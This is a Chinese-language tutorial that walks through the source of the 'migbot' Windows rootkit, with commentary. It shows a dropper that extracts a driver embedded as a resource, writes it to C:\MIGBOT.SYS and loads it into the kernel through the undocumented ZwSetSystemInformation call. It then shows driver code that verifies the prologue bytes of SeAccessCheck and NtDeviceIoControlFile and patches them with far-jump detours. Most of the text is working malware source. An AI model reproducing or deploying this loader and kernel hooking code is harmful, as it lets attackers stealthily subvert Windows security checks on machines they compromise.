在用户空间,编译的时候将驱动当做一个自定义的资源存入到.exe文件当中,然后执行的时候将其解压并且加载到内存里面。而解压出来的驱动最主要就是hook某个内核层面的函数。
#pragma comment(linker,"/ENTRY:main")
#pragma comment(linker,"/MERGE:.rdata=.data")
#pragma comment(linker,"/MERGE:.text=.data")
#if (_MSC_VER < 1300)
#pragma comment(linker,"/IGNORE:4078")
#pragma comment(linker,"/OPT:NOWIN98")
#endif
#define WIN32_LEAN_AND_MEAN
这上面的几句宏定义是为了减小编译结果的大小,头两句是将相应的节合并,最后这三句分别是关闭警告,并且将默认的节大小改为512字节而不是编译器定义的4KB,最后这一句是避免系统添加过多的库函数。整个用户层面的代码分为两个函数——解压出驱动,加载驱动。
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef long NTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
typedef
NTSTATUS
(__stdcall *ZWSETSYSTEMINFORMATION)(
DWORD SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength
);
typedef
VOID
(__stdcall *RTLINITUNICODESTRING)(
PUNICODE_STRING DestinationString,
PCWSTR SourceString
);
ZWSETSYSTEMINFORMATION ZwSetSystemInformation;
RTLINITUNICODESTRING RtlInitUnicodeString;
typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE
{
UNICODE_STRING ModuleName;
} SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE;
#define SystemLoadAndCallImage 38
bool decompress_sysfile();
bool load_sysfile();
bool cleanup();
void main()
{
if(!decompress_sysfile())
{
printf("Failed to decompress m1gB0t\r\n");
}
else if(!load_sysfile())
{
printf("Failed to load m1gB0t\r\n");
}
if(!cleanup())
{
printf("Cleanup failed\r\n");
}
}
因为驱动程序是当做一个自定义的函数在资源当中存在的。所以在寻找资源的时候我们是利用类似于资源的方式将其定位,并且分离出来。第一步利用FindResource找到我们的资源,这个函数所需要的三个参数分别是模块句柄和资源名称以及资源类型。找到资源之后,就需要将其加载。这时候利用LoadResource将其加载到内存当中,不过现在还不能对这一块内存进行操作,因为我们所得到的还是一个句柄,而并非操作内存的指针。这里需要区别aResourceHGlobal和aResourceH,前者具有内存属性,类似于LocalAlloc得到的内存句柄,需要经过LocalLock来获取内存指针;而后者则类似于一个HFILE,具备文件属性。所以这里通过aResourceH获取存储的大小,而通过aResourceHGlobal获取者一段在内存当中的指针。得到这些之后通过写文件将这些保存到指定的文件中。
bool decompress_sysfile()
{
HRSRC aResourceH;
HGLOBAL aResourceHGlobal;
unsigned char * aFilePtr;
unsigned long aFileSize;
HANDLE file_handle;
aResourceH = FindResource(NULL, "MIGBOT", "BINARY");
if(!aResourceH)
{
return false;
}
aResourceHGlobal = LoadResource(NULL, aResourceH);
if(!aResourceHGlobal)
{
return false;
}
aFileSize = SizeofResource(NULL, aResourceH);
aFilePtr = (unsigned char *)LockResource(aResourceHGlobal);
if(!aFilePtr)
{
return false;
}
file_handle =
CreateFile(
"C:\\MIGBOT.SYS",
FILE_ALL_ACCESS,
0,
NULL,
CREATE_ALWAYS,
0,
NULL);
if(INVALID_HANDLE_VALUE == file_handle)
{
return false;
}
while(aFileSize--)
{
unsigned long numWritten;
WriteFile(file_handle, aFilePtr, 1, &numWritten, NULL);
aFilePtr++;
}
CloseHandle(file_handle);
return true;
}
函数的实现主要是利用RtlInitUnicodeString将GregsImage初始化,然后调用ZwSetSystemInformation函数将驱动给加载到内核层。至于ZwSetSystemInformation的用法参考《The Windows 2000 Native API》。
bool load_sysfile()
{
SYSTEM_LOAD_AND_CALL_IMAGE GregsImage;
WCHAR daPath[] = L"\\??\\C:\\MIGBOT.SYS";
//
if( !(RtlInitUnicodeString = (RTLINITUNICODESTRING)
GetProcAddress( GetModuleHandle("ntdll.dll")
,"RtlInitUnicodeString"
)))
{
return false;
}
if(!(ZwSetSystemInformation = (ZWSETSYSTEMINFORMATION)
GetProcAddress(
GetModuleHandle("ntdll.dll")
,"ZwSetSystemInformation" )))
{
return false;
}
RtlInitUnicodeString(
&(GregsImage.ModuleName)
,daPath
);
if(
!NT_SUCCESS(
ZwSetSystemInformation(
SystemLoadAndCallImage
,&GregsImage
,sizeof(SYSTEM_LOAD_AND_CALL_IMAGE))))
{
return false;
}
return true;
}
驱动入口函数首先确认所需要hook的函数的函数前缀,然后,调用相应的函数进行挂钩。因为挂钩过程很类似,仅仅对SeAccessCheck函数进行分析。
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
DbgPrint("My Driver Loaded!");
if(STATUS_SUCCESS != CheckFunctionBytesNtDeviceIoControlFile())
{
DbgPrint("Match Failure on NtDeviceIoControlFile!");
return STATUS_UNSUCCESSFUL;
}
if(STATUS_SUCCESS != CheckFunctionBytesSeAccessCheck())
{
DbgPrint("Match Failure on SeAccessCheck!");
return STATUS_UNSUCCESSFUL;
}
DetourFunctionNtDeviceIoControlFile();
DetourFunctionSeAccessCheck();
return STATUS_SUCCESS;
}
至于函数的这些前缀可以利用一个很小巧的程序进行验证。在控制台下面,利用LoadLibrary加载相应的动态链接库,然后利用GetProcAddress得到相应的函数地址,将函数地址强制转化为字节型 就可以对其进行输出了。这里验证的是SeAccessCheck函数的前缀。
NTSTATUS CheckFunctionBytesSeAccessCheck()
{
int i=0;
char *p = (char *)SeAccessCheck;
char c[] = { 0x55, 0x8B, 0xEC, 0x53, 0x33, 0xDB, 0x38, 0x5D, 0x24 };
while(i<9)
{
DbgPrint(" - 0x%02X ", (unsigned char)p[i]);
if(p[i] != c[i])
{
return STATUS_UNSUCCESSFUL;
}
i++;
}
return STATUS_SUCCESS;
}
接下来分析一下将要被挂钩的函数,这里前面五条汇编指令和SeAccessCheck函数前缀一样,最主要是下面的跳转。通过_emit强制数据转换为指令。
__declspec(naked) my_function_detour_seaccesscheck()
{
__asm
{
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+24], bl
_emit 0xEA
_emit 0xAA
_emit 0xAA
_emit 0xAA
_emit 0xAA
_emit 0x08
_emit 0x00
}
}
我们的挂钩操作函数首先将原来的SeAccessCheck地址给填充,填入我们的跳转命令,然后将我们的函数地址给复制过去。最后将我们的函数当中的跳转写入原来的SeAccessCheck的函数地址(由于已经将前面的九个指令字节改写了,所以这里的跳转地址是SeAccessCheck+9)。函数的执行流程首先改分配非换页内存用于存放我们的跳转模板,然后将我们的函数写到这个内存当中。最后将我们的函数首地址写入到跳转模板当中,也就是newcode[1],这里之所以是1,是因为第一个字节是0xEA,这是长跳转指令码。然后将我们的跳转函数当中的地址改变为真正的SeAccessCheck函数地址。
VOID DetourFunctionSeAccessCheck()
{
char *actual_function = (char *)SeAccessCheck;
char *non_paged_memory;
unsigned long detour_address;
unsigned long reentry_address;
int i = 0;
char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90, 0x90 };
reentry_address = ((unsigned long)SeAccessCheck) + 9;
non_paged_memory = ExAllocatePool(NonPagedPool, 256);
for(i=0;i<256;i++)
{
((unsigned char *)non_paged_memory)[i] = ((unsigned char *)my_function_detour_seaccesscheck)[i];
}
detour_address = (unsigned long)non_paged_memory;
*( (unsigned long *)(&newcode[1]) ) = detour_address;
for(i=0;i<200;i++)
{
if( (0xAA == ((unsigned char *)non_paged_memory)[i]) &&
(0xAA == ((unsigned char *)non_paged_memory)[i+1]) &&
(0xAA == ((unsigned char *)non_paged_memory)[i+2]) &&
(0xAA == ((unsigned char *)non_paged_memory)[i+3]))
{
*( (unsigned long *)(&non_paged_memory[i]) ) = reentry_address;
break;
}
}
for(i=0;i < 9;i++)
{
actual_function[i] = newcode[i];
}
}